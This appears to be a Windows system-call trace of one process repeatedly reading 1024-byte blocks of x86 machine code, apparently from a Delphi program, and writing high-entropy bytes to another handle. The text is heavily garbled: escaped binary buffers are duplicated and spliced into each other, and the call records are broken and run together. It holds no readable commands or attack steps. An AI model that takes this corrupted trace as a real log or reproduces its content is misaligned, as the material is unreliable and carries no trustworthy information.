352p\311B\33\357\266l\216\200\316\362\24\222\310\11C/a\314\240\253\304\25\307\271\33\345\6\13\333\260d;A\263]7\247\316A\363^\33\255cb\17$R\371\221\210V\310\250<1\325K\206\75d\316\350T\32("\346\203\34\32\200w\254\342\7L\235@D\243\251z\15\262\226{\360\324\333TN\262\276", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \211U\344{\312\217Ey\241Q\222O\231W\5\26\23$\301\251\21\247\301\362\206*\232\20 \345\215%\332\211\200\344\200w\371w\322\210\232\33\241D\310\333\315S\324\4\244\276\266\13\272\312\332\315$\37\263\253(\5\21\16\227a?SV\1\221\0\306o\35\372^\37\242]*\254\377\377~\224\2567\3121{\302\260,\201T\234\301\335\202S\2468\206\6\35p\335\241\226\234~fJ\253#\327\213\342$\205Qn\254N\354\370\16\374e\4\264\272]\322q\227\213\337g]\203\270\372\253\341\37S\32\11\357\11\311\347\256\375\333\37\311;\274\372\11\355\212Ww\261\15a\322\255\13g\300@\350\37\275\21\231n\243f,\260\321\366y\337!\12(\214_(\336hcF\277+I8]\327\341q\245l\1\253`\378\241[)\361\330\20\310\10\361\201P\7\312\221\336o\336\13\21\275c\356\277\357&\2660\367~.F\257KR)t\26\305\376\321\214l\370A\240\232\365\254\222\257\265Y&\376\304\300\346\262\322m\14[\26_\371c\250\4\361:\305\226\366\234$\312\347\335>.i\201\214b3\345%#\302_m\336\375iS\223\276\267=lygV'rt\251\2554\375nx\352p\311B\33\357\266l\216\200\316\362\24\222\310\11C/a\314\240\253\304\25\307\271\33\345\6\13\333\260d;A\263]7\247\316A\363^\33\255cb\17$R\371\221\210V\310\250<1\325K\206\75d\316\350T\32( (92, 0, 0, 0, "]\363%Y\322\363\224d2\2319\317\212\374\227'U9$\341\337\335\324(\23\256{\314\5\327PU\32\216\177\264\376\360\343\342\315\235\274\366\377n\207\375D\306\3\351\302\265\217\226\336\204\3458F\373\2469'#\272\372\212'"\211U\344{\312\217Ey\241Q\222O\231W\5\26\23$\301\251\21\247\301\362\206*\232\20 \345\215%\332\211\200\344\200w\371w\322\210\232\33\241D\310\333\315S\324\4\244\276\266\13\272\312\332\315$\37\263\253(\5\21\16\227a?SV\1\221\0\306o\35\372^\37\242]*\254\377\377~\224\2567\3121{\302\260,\201T\234\301\335\202S\2468\206\6\35p\335\241\226\234~fJ\253#\327\213\342$\205Qn\254N\354\370\16\374e\4\264\272]\322q\227\213\337g]\203\270\372\253\341\37S\32\11\357\11\311\347\256\375\333\37\311;\274\372\11\355\212Ww\261\15a\322\255\13g\300@\350\37\275\21\231n\243f,\260\321\366y\337!\12(\214_(\336hcF\277+I8]\327\341q\245l\1\253`\378\241[)\361\330\20\310\10\361\201P\7\312\221\336o\336\13\21\275c\356\277\357&\2660\367~.F\257KR)t\26\305\376\321\214l\370A\240\232\365\254\222\257\265Y&\376\304\300\346\262\322m\14[\26_\371c\250\4\361:\305\226\366\234$\312\347\335>.i\201\214b3\345%#\302_m\336\375iS\223\276\267=lygV'rt\251\2554\375nx\352p\311B\33\357\266l\216\200\316\362\24\222\310\11C/a\314\240\253\304\25\307\271\33\345\6\13\333\260d;A\263]7\247\316A\363^\33\255cb\17$R\371\221\210V\310\250<1\325K\206\75d\316\350T\32("\346\203\34\32\200w\254\342\7L\235@D\243\251z\15\262\226{\360\324\333TN\262\276", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00962  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "f\307E\350\0\0\306E\344\0\306E\363\0\241\24\350\1@\350p\376\377\377\210E\3623\300\211E\374\241\24\350\1@\2008gu4\213\323\213\306\350\241\376\377\377\215E\340P\213\13I\272\1\0\0\0\213\306\350b\253\377\377\213E\340\215U\370\350\247\331\377\377\213E\370\350\303\376\377\377\211E\374\353\34\213\25\24\350\1@\270\10\245\0@\350\212\31\0\0\205\300~\10\241\364\350\1@\211E\374\215E\347P\215M\360\213\323\213\306\350V\374\377\377\204\300\17\2049\2\0\0\213\323\17\266\15\21\350\1@\213\306\350\252\375\377\377\204\300\17\204!\2\0\0\215E\346P\215M\356\213\323\213\306\350&\374\377\377\204\300\17\204\11\2\0\0\213\323\17\266\15\21\350\1@\213\306\350z\375\377\377\204\300\17\204\322\0\0\0\215E\345P\215M\354\213\323\213\306\350\366\373\377\377\204\300\17\204\331\1\0\0\17\266E\362,\1r\10t#\376\310t<\353U\17\267}\354\17\266E\345\210E\344\17\267E\360f\211E\352\17\267E\356f\211E\350\3538\17\267}\354\17\266E\345\210E\344\17\267E\356f\211E\352\17\267E\360f\211E\350\353\33\17\267}\360\17\266E\347\210E\344\17\267E\356f\211E\352\17\267E\354f\211E\350\203}\374\0~\16U\17\267\307\350\12\376\377\377Y\213\370\353p\200}\344\2wj\350:\357\377\377\17\267\310\17\267\5\370\247\1@+\310\213\301Q\271d\0\0\0\231\367\371Yfk\300df\3\370f\203=\370\247\1@\0v<\17\267\307;\310~5f\203\307d\353/\350\377\356\377\377\213\370\200}\362\1u\22\17\267E\360f\211E\350\17\267E\356f\211E\352\353\20\17\267E\360f\211E\352\17\267E\356f\211E\350\213\323\17\266\15\21\350\1@\213\306\350a\374\377\377\213\323\213\306\350\310\372\377\377", ) , ) == 0x0
 00963  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "%@\216UlD\267\234\25\213\300\7\252\237U\36OS\250\354\370\22\315\314\253\256\215o\213\270\217\321\255\253\211\243G\274\355\352\241\331\357g9w\16\265\0/C\271\240\263.\352\304\207\217\4\247u\2423\266G\201\27\2030\276.$\233\34\224\353\301\312\274\247\2373(=E\252!PLtbVC\356h\301\262tA\24\237v<\310\2\276\375/\203\354\367\266\224\230"\237N\223\266D\334\267)\263\2613\345(\27LN\331\221x\244\263[e\350\356\220\6\1~\210\361\274\326\33l\227.\301\372\242\3050\326\6d\21\323\272\365M\262\377\356\344\351\37\236\251\353\266\1&\22L\5\342+vbg\317\365\344X>M2K\272n)\303u\274\32\311\34\341\304\207Z\237\251S\36449l2\306\235\30s\372\315\204\273\303h\260\315\370\302r\344\240\243\341\317I\14Egk\304\275]=\307VMf\215\265\335\3505\343\337\31K\357\313\364c\241S\373\326\367_\214\261\334\357\247:\344[7\257\201\7Z\5\325\3339\10\23S\321\211\301\276@\36\5\334\200\30\200\3676\36\270\23\304\271\340]\207 \335W]\343B\321.\374\266\334n\330\10;\236"[`lL\256\316+\275]PmK\326\334\325\373\234\212\344J\274\221\240e\272S\337\233\177\246\261\12\300\273\343\241o\365\7\34\377\225\6\206\254d\323H\210\302>\225\357\370\360\320\364xN"\253\266\305\311\31Sx\303c>Dyo\269\357\234\24q\374\267J\207}\353z\312V4;\260\2144\247\204\352\34\221\223\374U\255\12/Y\216\312\277\314\367\267\330\354_3\274%"_=|O\224\337\3213$\12\36"7\227\324\221\10\264?IK\227\232"&\12\210\2\211KO/\326\353P\\32\251/!\263\335\331+Zx.\23V\342\352PSQ\20\253\352", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \237N\223\266D\334\267)\263\2613\345(\27LN\331\221x\244\263[e\350\356\220\6\1~\210\361\274\326\33l\227.\301\372\242\3050\326\6d\21\323\272\365M\262\377\356\344\351\37\236\251\353\266\1&\22L\5\342+vbg\317\365\344X>M2K\272n)\303u\274\32\311\34\341\304\207Z\237\251S\36449l2\306\235\30s\372\315\204\273\303h\260\315\370\302r\344\240\243\341\317I\14Egk\304\275]=\307VMf\215\265\335\3505\343\337\31K\357\313\364c\241S\373\326\367_\214\261\334\357\247:\344[7\257\201\7Z\5\325\3339\10\23S\321\211\301\276@\36\5\334\200\30\200\3676\36\270\23\304\271\340]\207 \335W]\343B\321.\374\266\334n\330\10;\236 (92, 0, 0, 0, "%@\216UlD\267\234\25\213\300\7\252\237U\36OS\250\354\370\22\315\314\253\256\215o\213\270\217\321\255\253\211\243G\274\355\352\241\331\357g9w\16\265\0/C\271\240\263.\352\304\207\217\4\247u\2423\266G\201\27\2030\276.$\233\34\224\353\301\312\274\247\2373(=E\252!PLtbVC\356h\301\262tA\24\237v<\310\2\276\375/\203\354\367\266\224\230"\237N\223\266D\334\267)\263\2613\345(\27LN\331\221x\244\263[e\350\356\220\6\1~\210\361\274\326\33l\227.\301\372\242\3050\326\6d\21\323\272\365M\262\377\356\344\351\37\236\251\353\266\1&\22L\5\342+vbg\317\365\344X>M2K\272n)\303u\274\32\311\34\341\304\207Z\237\251S\36449l2\306\235\30s\372\315\204\273\303h\260\315\370\302r\344\240\243\341\317I\14Egk\304\275]=\307VMf\215\265\335\3505\343\337\31K\357\313\364c\241S\373\326\367_\214\261\334\357\247:\344[7\257\201\7Z\5\325\3339\10\23S\321\211\301\276@\36\5\334\200\30\200\3676\36\270\23\304\271\340]\207 \335W]\343B\321.\374\266\334n\330\10;\236"[`lL\256\316+\275]PmK\326\334\325\373\234\212\344J\274\221\240e\272S\337\233\177\246\261\12\300\273\343\241o\365\7\34\377\225\6\206\254d\323H\210\302>\225\357\370\360\320\364xN"\253\266\305\311\31Sx\303c>Dyo\269\357\234\24q\374\267J\207}\353z\312V4;\260\2144\247\204\352\34\221\223\374U\255\12/Y\216\312\277\314\367\267\330\354_3\274%"_=|O\224\337\3213$\12\36"7\227\324\221\10\264?IK\227\232"&\12\210\2\211KO/\326\353P\\32\251/!\263\335\331+Zx.\23V\342\352PSQ\20\253\352", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \253\266\305\311\31Sx\303c>Dyo\269\357\234\24q\374\267J\207}\353z\312V4;\260\2144\247\204\352\34\221\223\374U\255\12/Y\216\312\277\314\367\267\330\354_3\274% (92, 0, 0, 0, "%@\216UlD\267\234\25\213\300\7\252\237U\36OS\250\354\370\22\315\314\253\256\215o\213\270\217\321\255\253\211\243G\274\355\352\241\331\357g9w\16\265\0/C\271\240\263.\352\304\207\217\4\247u\2423\266G\201\27\2030\276.$\233\34\224\353\301\312\274\247\2373(=E\252!PLtbVC\356h\301\262tA\24\237v<\310\2\276\375/\203\354\367\266\224\230"\237N\223\266D\334\267)\263\2613\345(\27LN\331\221x\244\263[e\350\356\220\6\1~\210\361\274\326\33l\227.\301\372\242\3050\326\6d\21\323\272\365M\262\377\356\344\351\37\236\251\353\266\1&\22L\5\342+vbg\317\365\344X>M2K\272n)\303u\274\32\311\34\341\304\207Z\237\251S\36449l2\306\235\30s\372\315\204\273\303h\260\315\370\302r\344\240\243\341\317I\14Egk\304\275]=\307VMf\215\265\335\3505\343\337\31K\357\313\364c\241S\373\326\367_\214\261\334\357\247:\344[7\257\201\7Z\5\325\3339\10\23S\321\211\301\276@\36\5\334\200\30\200\3676\36\270\23\304\271\340]\207 \335W]\343B\321.\374\266\334n\330\10;\236"[`lL\256\316+\275]PmK\326\334\325\373\234\212\344J\274\221\240e\272S\337\233\177\246\261\12\300\273\343\241o\365\7\34\377\225\6\206\254d\323H\210\302>\225\357\370\360\320\364xN"\253\266\305\311\31Sx\303c>Dyo\269\357\234\24q\374\267J\207}\353z\312V4;\260\2144\247\204\352\34\221\223\374U\255\12/Y\216\312\277\314\367\267\330\354_3\274%"_=|O\224\337\3213$\12\36"7\227\324\221\10\264?IK\227\232"&\12\210\2\211KO/\326\353P\\32\251/!\263\335\331+Zx.\23V\342\352PSQ\20\253\352", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 7\227\324\221\10\264?IK\227\232 (92, 0, 0, 0, "%@\216UlD\267\234\25\213\300\7\252\237U\36OS\250\354\370\22\315\314\253\256\215o\213\270\217\321\255\253\211\243G\274\355\352\241\331\357g9w\16\265\0/C\271\240\263.\352\304\207\217\4\247u\2423\266G\201\27\2030\276.$\233\34\224\353\301\312\274\247\2373(=E\252!PLtbVC\356h\301\262tA\24\237v<\310\2\276\375/\203\354\367\266\224\230"\237N\223\266D\334\267)\263\2613\345(\27LN\331\221x\244\263[e\350\356\220\6\1~\210\361\274\326\33l\227.\301\372\242\3050\326\6d\21\323\272\365M\262\377\356\344\351\37\236\251\353\266\1&\22L\5\342+vbg\317\365\344X>M2K\272n)\303u\274\32\311\34\341\304\207Z\237\251S\36449l2\306\235\30s\372\315\204\273\303h\260\315\370\302r\344\240\243\341\317I\14Egk\304\275]=\307VMf\215\265\335\3505\343\337\31K\357\313\364c\241S\373\326\367_\214\261\334\357\247:\344[7\257\201\7Z\5\325\3339\10\23S\321\211\301\276@\36\5\334\200\30\200\3676\36\270\23\304\271\340]\207 \335W]\343B\321.\374\266\334n\330\10;\236"[`lL\256\316+\275]PmK\326\334\325\373\234\212\344J\274\221\240e\272S\337\233\177\246\261\12\300\273\343\241o\365\7\34\377\225\6\206\254d\323H\210\302>\225\357\370\360\320\364xN"\253\266\305\311\31Sx\303c>Dyo\269\357\234\24q\374\267J\207}\353z\312V4;\260\2144\247\204\352\34\221\223\374U\255\12/Y\216\312\277\314\367\267\330\354_3\274%"_=|O\224\337\3213$\12\36"7\227\324\221\10\264?IK\227\232"&\12\210\2\211KO/\326\353P\\32\251/!\263\335\331+Zx.\23V\342\352PSQ\20\253\352", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00964  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "P\215L$\14\213\326\213\305\350\322\370\377\377\204\300\17\204\327\0\0\0\213\326\17\266\15\17\350\1@\213\305\350&\372\377\377\204\300t\32\215D$\14P\215L$\16\213\326\213\305\350\244\370\377\377\204\300\17\204\251\0\0\0\205\377}S\213\326\213\15 \350\1@\213\305\350\35\371\377\377\204\300u\22\213\326\271\0\247\0@\213\305\350\13\371\377\377\204\300t\43\377\353*\213\326\213\15$\350\1@\213\305\350\364\370\377\377\204\300u\22\213\326\271\14\247\0@\213\305\350\342\370\377\377\204\300t\5\277\14\0\0\0\205\377|$f\203|$\4\0tFf\203|$\4\14w>f\203|$\4\14u\7f\307D$\4\0\0f\1|$\4\213\326\213\305\350\360\367\377\377\17\267D$\12P\213D$\4P\17\267L$\20\17\267T$\16\17\267D$\14\350]\350\377\377\213\330\213\303\203\304\20]_^[\303\0\377\377\377\377\2\0\0\0AM\0\0\377\377\377\377\2\0\0\0PM\0\0SVQ\213\362\213\330\307\4$\1\0\0\0\213\316\213\324\213\303\350\243\372\377\377\204\300t\23\213\303\205\300t\5\203\350\4\213\0;\4$\17\234\300\353\23\300Z^[\303\213\300SVQ\213\362\213\330\307\4$\1\0\0\0\213\316\213\324\213\303\350\267\375\377\377\204\300t\23\213\303\205\300t\5\203\350\4\213\0;\4$\17\234\300\353\23\300Z^[\303\213\300SVW\203\304\350\213\372\213\360\263\1\307\4$\1\0\0\03\300\211D$\20\211D$\24\215L$\10\213\324\213\306\350"\372\377\377\204\300u\4\260\1\353#\213\306\205\300t\5\203\350\4\213\0;\4$}\4\260\1\353\15\215L$\20\213\324\213\306\350E\375\377\3774\1\204\300t\15\213\327\213\306\350f\377\377\377\213\330\353(\335D$\10\330\35\30\250\0@\233\337\340\236", ) \372\377\377\204\300u\4\260\1\353#\213\306\205\300t\5\203\350\4\213\0;\4$}\4\260\1\353\15\215L$\20\213\324\213\306\350E\375\377\3774\1\204\300t\15\213\327\213\306\350f\377\377\377\213\330\353(\335D$\10\330\35\30\250\0@\233\337\340\236", ) == 0x0
 00965  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "[H\352\37\217\25v\210\375\30)\36\263\2724\3012Q\206\252\237\365\215\207;\305\5\255\15\246y\275HC\332\20ZCG\357\270\274\11M\22\367vit\222\201\244j~\264P>\202\367*^H\33S\277\274\326\11\266\14\3628.\1\24\335\354U\356w \5G\332\221\273\215\304\26\10O\223\377G\233\14\34oaf\223\322\264\4>\213[\2613\307\3162V\364\23\25\215\352\334m\306\271\30gN;\232!\30y2\204h\21\206iqi\4\302\310\3276\262\316\255\13\320\344H\263\311\265\374\354\320\251fW\2328\274\350{@\265L\342\246[\375&\0\233\250\273\205\31\4\271\254\3T\27\224\325\370/A`C\37S\276\3A\302\270]\362Q\32x\310E=\247\314\315FJ\231<:\275\217\330\327V\266\323WM\242\307:\362\204K]3\356\300\30\6\234\33\346\35\256a\242\216\303\320\273\234\276\346\23\203\223'\217p\234\23V\11\201\2\13Y\362\3\236\274\2452\325|\344*9\340\247\277f9i\23N\3\253\356\217\4\257\302\345#\244\357\363(\272\251\240\20\30be\202]\236_\327\3059<>\11\3046\200\341D\277\320\243P3\276\312\15\300\251\13\341\315\37A\0\20\34\236\334\347\252]\235Vh\11\313\232\236m\20z\1501\370\265\252b\261D0\227\10\255\241*%\266\244\204j\244\362rO\327\253@\30\11*\224\352\32W\23\217\25\320\317m\341i \373\217\253\215\231\315\241=SQ\13\273?\200\301\324\311\203\20\213\352\326p\221\346\363\220\276\344\340$\1\355\220{\3\13\322\361\211\11gt\212\267\24\344&\3561\357\315Z\214\2\320AUZ\344b\250\273\247\303\\1u\2;W=\272\16YX\361\336p\35\216C~\253\236\320\334^E\357\367$\2\353"\374P\203W\263\245<>\12\22", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \374P\203W\263\245<>\12\22", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00966  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\350\213\307\350\320\236\377\377C\203\307\4\203\306\4\203\373\10u\2343\300ZYYd\211\20h6\252\0@\215E\350\272\4\0\0\0\350z\236\377\377\303\351\320\227\377\377\353\353_^[\213\345]\303\215@\0U\213\354SV3\366\273\1\0\0\0\353\6\203\373\7t\37C\203<\235\324\350\1@\0u\360\215\4\235\324\350\1@\213U\10\350\17\240\377\377\276\1\0\0\0\213\306^[]\302\4\0\213\300U\213\354j\0SV3\300Uh\341\252\0@d\3770d\211 3\366\273\1\0\0\0\353\6\203\373\7t,C\203<\235\360\350\1@\377u\360\215E\374\213U\10\350\307\237\377\377\213E\3743\322\350\25\323\377\377\211\4\235\360\350\1@\276\1\0\0\03\300ZYYd\211\20h\350\252\0@\215E\374\350\244\235\377\377\303\351\36\227\377\377\353\360\213\306^[Y]\302\4\0\215@\0U\213\354j\0V3\300Uh\213\253\0@d\3770d\211 \215E\374P\350\267\272\377\377\271\240\253\0@\272\13\20\0\0\350H\375\377\377\213E\374\272\1\0\0\0\350\247\322\377\377\213\360\213\306\203\300\375\203\350\3s, ) , ) == 0x0
 00967  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\236@\277\360\307\14\224\330\306]\245\237\32\2254\36\223\21\\335\32\255\36\237\311\272O\340i\304\17\3045\300\307A\214a=2\341\272\223 G\237I.?\235\376\221\11W\370z6t\374\253\11\322\4\366\261nwU\357+\264\331\364\357<;\316\310N\373b\7.\316\14a@A\333\1\206\241(\323-\301\323\325\262;W\324\310\316\11\254\305T\234P\16\334Zs\227r\210\2I\251\2346\25\365D\312!.KNN\333M\226?1]\34\306\37a\202\30\213\341X\334Hl [!\340\363\206J\372 {\262d\24Y\364\36\325\201\335\36bM\37\254Z\207\207\246(\330\263OJ\3\261)\332t\311\5\177\2758\224\247*U\15\265\212\215\376\220\310lH\6`}eo\12\16*'\270\344\32y!\266\310\207\310\306\353\303\253K\302\343.\272\323\373\370\354\37\350f\35\1\31\241.\224\221/\251\222\227d\344\330@\250\271i\311.R\12;;\235g\\26\317\272\20L%\323\343\262\306\1.}1\203\336vw\334\4\356\}l\232\15\27_\215Y\25{\270\354\36#\256\217\214e\371\34\320\335\236\201\360@\306}ZN\210`\3778a\311\255\233\341]\330YG\256\365?\263>>S\307tR\5C*\366\\321\377\251\220\205\320\247\252\35\364\353\313$R\13\270\217\237\17\374\333\321\11\35\10\301\202x@\33\315\347^\377F]#BNo\37\17E\355\22\204\270\14\2\233\274\277]\306x\25\250\357*\337\311S\235g\34\351\366\205/\345\313\253y\213\307\3108\275\363\1&\371\304\306\265\223zg\261\3;\340a\372wf\367\11\6{{\373\36(\3150\177\342m}\352\305\262yV\255\363\305V\31617I\330\201\247\3717% \256\25&\364\266\306P\226\4\246\216\240\357kg\25P\307\216\203\245R~", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00968  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\377\377\201\275\340\374\377\377\0\20\0\0u\34h\5\1\0\0\215\205\356\375\377\377P\213\205\324\374\377\377P\350r\267\377\377\205\300u#h\5\1\0\0\215\205\356\375\377\377P\241\370\347\1@P\350W\267\377\377\213\303\350\214\377\377\377\211E\370\353\11+\235\324\374\377\377\211]\370\215\205\356\375\377\377\262\\350m\16\0\0\213\320B\215\205\363\376\377\377\271\4\1\0\0\350\16\323\377\377\273`\257\0@\277`\257\0@\213\306\213\25\340m\0@\350\347\217\377\377\204\300t!\213F\4\350\257\236\377\377\213\330\213\303\350\272\322\377\377\205\300t\14\200|\3\377.t\5\277d\257\0@h\0\1\0\0\215\205\356\374\377\377P\241\270\260\1@\213@\4P\241\370\347\1@\3507\255\377\377P\350a\270\377\377\215\225\250\373\377\377\213\6\350\210\215\377\377\215\205\250\373\377\377\211\205\250\374\377\377\306\205\254\374\377\377\4\215\205\363\376\377\377\211\205\260\374\377\377\306\205\264\374\377\377\6\213E\370\211\205\270\374\377\377\306\205\274\374\377\377\5\211\235\300\374\377\377\306\205\304\374\377\377\6\211\275\310\374\377\377\306\205\314\374\377\377\6\215\205\250\374\377\377Pj\4\215\215\356\374\377\377\213U\10\213E\374\350>\327\377\377\213E\374\350\6\322\377\377_^[\213\345]\302\4\0\0\0\0\0\0.\0\0\0\201\304\274\373\377\377h\0\4\0\0\215L$H\350d\376\377\377\241H\260\1@\2008\0t^\241L\257\1@\350H\204\377\377\350\307}\377\377\215D$DP\215D$HP\350l\267\377\377j\0\215D$\4P\215D$L\350\250\321\377\377P\215D$PPj\364\350\357\265\377\377P\350\231\266\377\377j\0\215D$\4Pj\2h,\260\0@j\364\350\324\265\377\377P\350~\266\377\377\3536j@\215D$\10P\241(\257\1@\213@\4P", ) , ) == 0x0
 00969  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\306}\366\247j\256\240U\363\261\252\212\261\205\216\267\3?\3751X\246\33\364\251\6$\337\15tFF\227A\337\253r\31\256\272\3127K=\0:d\2456l\304\202\352\3217r\306\241{\0\370\322'\335\3613\311\11\357\254\367\314c\32\37\6\227\313E\212\237\350\214\352k=&\27\2\360\303\4\342Qj\355\21!\217\332kQ\217iV\31\375\177J\216\14/\36\271\347L\255\267\q\324\262\205\245\232\335\330\11z\255A\247\352{\342\363\330\244\272\212\361'\31\35\347\233\201;F\334\3\24l\31\3316d3z\341\30\201\210\212e\355\312\274\1\27?+9\274\132\277\337S\246\236\241\32\246\306\334\354\200\325\253\203\355\244\366\250\26U\314\3-`\111\1\251\242\303\357\212\15\301\320V\306\366\250\1u\361\321=\253+\365\314r\234\264\206\6\300\332\32UIJ\227\336\347\353\303\222\31K\2358\267\332\327\3756\212:\257\204\3746\217\31\371\252\27\252\305_\344\320z\34\300\242\207M\34T\317\311Pd\22\255\363\315\30\244\212Z\303\1\24@\260\276\342\3423\244\267\2/\343\366\314\242\36I\222\306\256\14G\352\274\356\4\375\207l\372Y\202JD.\322q\341=\347f\245a\265}\254Jco\362\206\21+\3532\37\30\13\245\332b\373\356\227\356G9\27\230G{\33De\342a\372(\3\331\36\364g\35>W1;O\266@H\322\362J\204\231\377\265\12\310x\316\241t\3J\5\343S0\362\304\275J\271MJmT\32\34>\361|\371\357\353W^\326\375Pw\302d\243,O\14\303\371\230/\201\10S", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00970  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\4\0\213\300\200x\14\0t\5\350\215\212\377\377\303\24\262\0@\16\11TErrorRec\10\0\0\0\1\0\0\0\0\20\0@\4\0\0\0\220SV\203\304\3703\333\350\240{\377\377\213\360\353\1C\203\373\6\177\11;4\335\34\251\1@u\361\203\373\6\177\25\213\14\335 \251\1@\262\1\241\0o\0@\350\311\375\377\377\353\35\2114$\306D$\4\0Tj\0\213\15$\257\1@\262\1\241\0o\0@\350\242\376\377\377\211p\14YZ^[\303\213\300\224\262\0@\16\12TExceptRec\10\0\0\0\1\0\0\0\0\20\0@\4\0\0\0S\213\332\213\320\376\312t\14\376\312t\20J\200\352\26r\22\353*\213\25\34\351\1@\353)\213\25 \351\1@\353!\17\266\300\215\4\305<\251\1@\213H\4\213\0\262\1\350E\375\377\377\213\320\353\7\350<\377\377\377\213\320S\213\302\351\346\217\377\377[\303U\213\354\203\304\340SVW3\333\211]\340\211]\374\213\371\213\362\213\3303\300Uh\234\263\0@d\3770d\211 \205\333t\14\215E\374\213\323\350\351\225\377\377\353\15\215U\374\2418\260\1@\350\256\257\377\377\213E\374\211E\344\306E\350\13\211u\354\306E\360\13\211}\364\306E\370\0\215E\344Pj\2\215U\340\241l\260\1@\350\203\257\377\377\213M\340\262\1\241\10v\0@\350\360\374\377\377\213\3303\300ZYYd\211\20h\243\263\0@\215E\340\350\361\224\377\377\215E\374\350\351\224\377\377\303\351c\216\377\377\353\350\213\303_^[\213\345]\303\211\314\211\24$\213m\0\351+\217\377\377\303\213\300U\213\354\350<\377\377\377\215M\10\203\301\4\213U\10\350\332\377\377\377]\302\4\0\213\300\213\15@\257\1@\262\1\241hv\0@\350\2\375\377\377\350\365\216\377\377\303\213\0=\222", ) , ) == 0x0
 00971  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\203\265\213qo5W\13\227\35\375\325\350yKnk\313\205\357Y@\241\276^\\315}F\361sJ\345\4|\321\336\37Z\327\5\265e\22+\351T\216\365\6\260\347^\366\373\300W\251\214\363qM\263\364\22\322W8\14Ev\321\245\35\10\3d\214\201\7\214\304K\235d\336k&\214^\342P\215\215p\31\333\4wgS\232T\364G\343j6[-\241\323n3\177\26\251\336\247\11\12L\343\201M\307\334y\224\370*2\275{\30~\257'F\260G\272l\234\275\226c\11\337\350\10AN\0EZ\350\15i[\263~\242\243p91 S\273\15t\250D \325\214?v\227-\315\351\32\301\207\245\256\3229\351#\371\315\12b\202\25\217\237\261\272\257AI\334\247\266\270Z\311#\37\300\373\361\341V\5^\34bF\17[\202\224n\252\260\276\223f\5\35\2046\325\215)W\210\300\263\265J\356\264F\216\310\12L\23q\23\7\25lH\370u\2250\252GF\13\30\337\277\27O\227\356\275X\35\350\332\274>\202/j\317A\360LDS\7\366\322\33!\222).x\213H\232\233\341t\362Z\224\365R\270,\350\214\246\205\35\256A\222u\340\21N\3V\305\233\23\353\271\254\251/\252\236L\33\34\364\345A\303\31\231\351\351\310\301;\350\330\354\257\201H\235\224\177\261\20\13W\255\212e\235=G\245=\243rb\201R\16L\2\3008BV\201\335\334\366&\26\242\376\244\302ZPA\232v0\27\30\303\\300\354f\200\320\371\265\364oLT\4%\10j\324\222\372\317FZy\15\220~\344\27N\231!\133\207\365\24"d\311\341V:_\12\273`=\35\357\6\312\244\21\304:X\2465\36\272\256\254K\316\250 ;pf\213<\350\246\22L\244\366\317v\343\335\325\300@\266A\310K\17\24t\212\351\25z", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) d\311\341V:_\12\273`=\35\357\6\312\244\21\304:X\2465\36\272\256\254K\316\250 ;pf\213<\350\246\22L\244\366\317v\343\335\325\300@\266A\310K\17\24t\212\351\25z", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00972  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\220\376\377\377\262\1\241@t\0@\350\\372\377\377\213\3303\300ZYYd\211\20hJ\266\0@\215\205\220\376\377\377\350Z\222\377\377\215\205\254\376\377\377\272\3\0\0\0\350n\222\377\377\215E\374\350B\222\377\377\303\351\274\213\377\377\353\325\213\303^[\213\345]\303\213\300U\213\354\203\304\360S3\322\211U\360\211E\3743\300Uh\15\267\0@d\3770d\211 \213E\374\350w\375\377\377\17\266\300\213\320\203\302\375\203\352\10r\10t\35J\203\352\12s"\215\4\305<\251\1@\213H\4\213\0\262\1\350\217\371\377\377\213\330\353;U\350\335\375\377\377Y\213\330\3530\213E\374\213\0\211E\364\306E\370\0\215E\364Pj\0\215U\360\241\340\256\1@\350!\254\377\377\213M\360\262\1\241\260o\0@\350\216\371\377\377\213\330\213\303\213\25Xo\0@\350\207\207\377\377\204\300t\6\213E\374\211C\143\300ZYYd\211\20h\24\267\0@\215E\360\350x\221\377\377\303\351\362\212\377\377\353\360\213\303[\213\345]\303\220\350G\370\377\377\270\1\0\0\0\350A\221\377\377\303\213\15,\257\1@\262\1\241\244n\0@\350\256\371\377\377\243\34\351\1@\213\15\374\257\1@\262\1\241,s\0@\350\227\371\377\377\243 